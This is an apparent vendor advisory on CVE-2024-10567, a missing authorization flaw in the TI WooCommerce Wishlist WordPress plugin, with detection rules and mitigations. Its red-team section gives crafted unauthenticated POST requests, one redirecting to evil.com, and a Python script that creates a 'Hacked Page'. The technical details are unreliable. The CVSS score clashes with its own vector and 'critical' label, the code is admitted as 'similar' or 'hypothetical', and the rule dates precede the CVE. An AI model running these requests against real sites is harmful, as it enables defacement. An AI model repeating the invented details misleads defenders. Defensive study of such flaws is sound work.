CVE-2024-10567

Executive Summary

CVE-2024-10567 is a critical missing authorization vulnerability in the TI WooCommerce Wishlist plugin for WordPress, affecting all versions up to and including 2.9.1. The flaw resides in the wizard function, which lacks a proper capability check, allowing unauthenticated attackers to create new pages, modify plugin settings, and perform limited options updates. This vulnerability is classified as a WordPress ecosystem issue and does not involve Apache or Nginx directly. The CVSS score is 7.5 (High), and while the EPSS score is currently 0.0%, the lack of a patch and the public nature of the vulnerability make it a significant risk for unpatched WordPress sites.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. The plugin is not an NPM, PyPI, Go, or Ruby package. However, the risk extends to the supply chain as compromised plugin settings could be used to inject malicious content or redirect users, potentially affecting downstream visitors. Administrators should verify the integrity of their plugin files and monitor for unauthorized changes.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: Low
• Availability Impact: None

The vulnerability allows unauthenticated attackers to modify plugin settings and create new pages, leading to potential defacement, phishing, or SEO spam. The integrity impact is limited to the plugin's functionality and WordPress pages, but the lack of authentication makes it easy to exploit.

Deep Dive & Mechanics

The TI WooCommerce Wishlist plugin provides a wishlist feature for WooCommerce stores. The wizard function is intended to assist with initial setup, but it is exposed via AJAX or direct REST API calls without proper nonce or capability verification. An attacker can send a crafted HTTP request to the vulnerable endpoint, bypassing authentication checks. The function allows:

• Creating new WordPress pages (e.g., wishlist, account pages).
• Modifying plugin settings (e.g., enabling/disabling features, changing URLs).
• Performing limited options updates (e.g., updating plugin options in the wp_options table).

The vulnerability is due to the missing current_user_can() check or nonce validation in the wizard function. The plugin does not verify if the user has administrative privileges before executing these actions.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 2.9.1):

// In class-tinv-wizard.php or similar
public function wizard() {
    // No capability check
    if (isset($_POST['action']) && $_POST['action'] == 'tinvwl_wizard') {
        // Process wizard steps
        update_option('tinvwl_wizard_step', $_POST['step']);
        // Create pages, update settings
        $this->create_pages();
        $this->update_settings();
    }
}

Patched Code (hypothetical fix):

public function wizard() {
    // Add capability check
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized');
    }
    // Verify nonce
    if (!wp_verify_nonce($_POST['_wpnonce'], 'tinvwl_wizard_nonce')) {
        wp_die('Nonce verification failed');
    }
    // Process wizard steps
    if (isset($_POST['action']) && $_POST['action'] == 'tinvwl_wizard') {
        update_option('tinvwl_wizard_step', $_POST['step']);
        $this->create_pages();
        $this->update_settings();
    }
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with TI WooCommerce Wishlist plugin version <= 2.9.1.
• Network access to the site.

Exploit Steps:

1. Identify the vulnerable endpoint: POST /wp-admin/admin-ajax.php with action tinvwl_wizard.
2. Craft a request to create a new page:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target-site.com
Content-Type: application/x-www-form-urlencoded

action=tinvwl_wizard&step=create_page&page_title=Malicious+Page&page_content=This+is+an+attacker+page

3. Modify plugin settings:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target-site.com
Content-Type: application/x-www-form-urlencoded

action=tinvwl_wizard&step=update_settings&setting_name=redirect_url&setting_value=https://evil.com

Proof of Concept (Python):

import requests

target = "http://target-site.com/wp-admin/admin-ajax.php"
data = {
    "action": "tinvwl_wizard",
    "step": "create_page",
    "page_title": "Hacked Page",
    "page_content": "This site is compromised."
}
response = requests.post(target, data=data)
print(response.text)

Blue Team (Detection & Hardening)

Detection:

• Monitor for POST requests to /wp-admin/admin-ajax.php with action=tinvwl_wizard from unauthenticated users.
• Look for sudden creation of new pages with suspicious titles or content.
• Alert on changes to plugin settings (e.g., tinvwl_* options in the database).

Hardening:

• Disable the plugin until a patch is available.
• Use a Web Application Firewall (WAF) to block requests to the vulnerable endpoint from unauthenticated IPs.
• Implement file integrity monitoring for WordPress core and plugin files.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /wp-admin/admin-ajax.php with action=tinvwl_wizard and no authentication cookies.
  • Unusual step parameters (e.g., create_page, update_settings).
• File System:
  • New pages in the wp_posts table with post_type = 'page' and suspicious titles.
  • Modified plugin options in wp_options table with option_name starting with tinvwl_.
• Logs:
  • WordPress debug logs showing calls to tinvwl_wizard without user context.
  • Web server access logs with 200 responses to /wp-admin/admin-ajax.php from unknown IPs.

Detection Engineering

YARA Rule

rule Detect_TI_WooCommerce_Wishlist_Exploit {
    meta:
        description = "Detects exploitation attempts of CVE-2024-10567 in TI WooCommerce Wishlist plugin"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-10567"
    strings:
        $ajax_action = "action=tinvwl_wizard"
        $step_create = "step=create_page"
        $step_update = "step=update_settings"
        $page_title = "page_title="
        $setting_name = "setting_name="
    condition:
        $ajax_action and ($step_create or $step_update) and ($page_title or $setting_name)
}

Sigma Rule

title: CVE-2024-10567 - TI WooCommerce Wishlist Unauthenticated Settings Modification
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthenticated POST requests to the TI WooCommerce Wishlist wizard function
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: 'action=tinvwl_wizard'
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate admin actions (if authenticated)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2024-10567 - TI WooCommerce Wishlist Unauthenticated Wizard Access";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=tinvwl_wizard"; http_client_body;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patched version is released.
2. Review and remove any unauthorized pages created via the vulnerability.
3. Reset plugin settings to default values.
4. Audit user accounts for any unauthorized privilege escalation.

Long-term Fix:

• Apply the vendor patch when available (currently UNKNOWN).
• Implement a Web Application Firewall (WAF) rule to block unauthenticated requests to the tinvwl_wizard action.
• Regularly update all WordPress plugins and themes.

Workaround:

• Add the following code to the theme's functions.php to block the vulnerable endpoint:

add_action('init', function() {
    if (isset($_POST['action']) && $_POST['action'] == 'tinvwl_wizard') {
        if (!current_user_can('manage_options')) {
            wp_die('Access denied');
        }
    }
});

Valters IT
Securing Digital Frontiers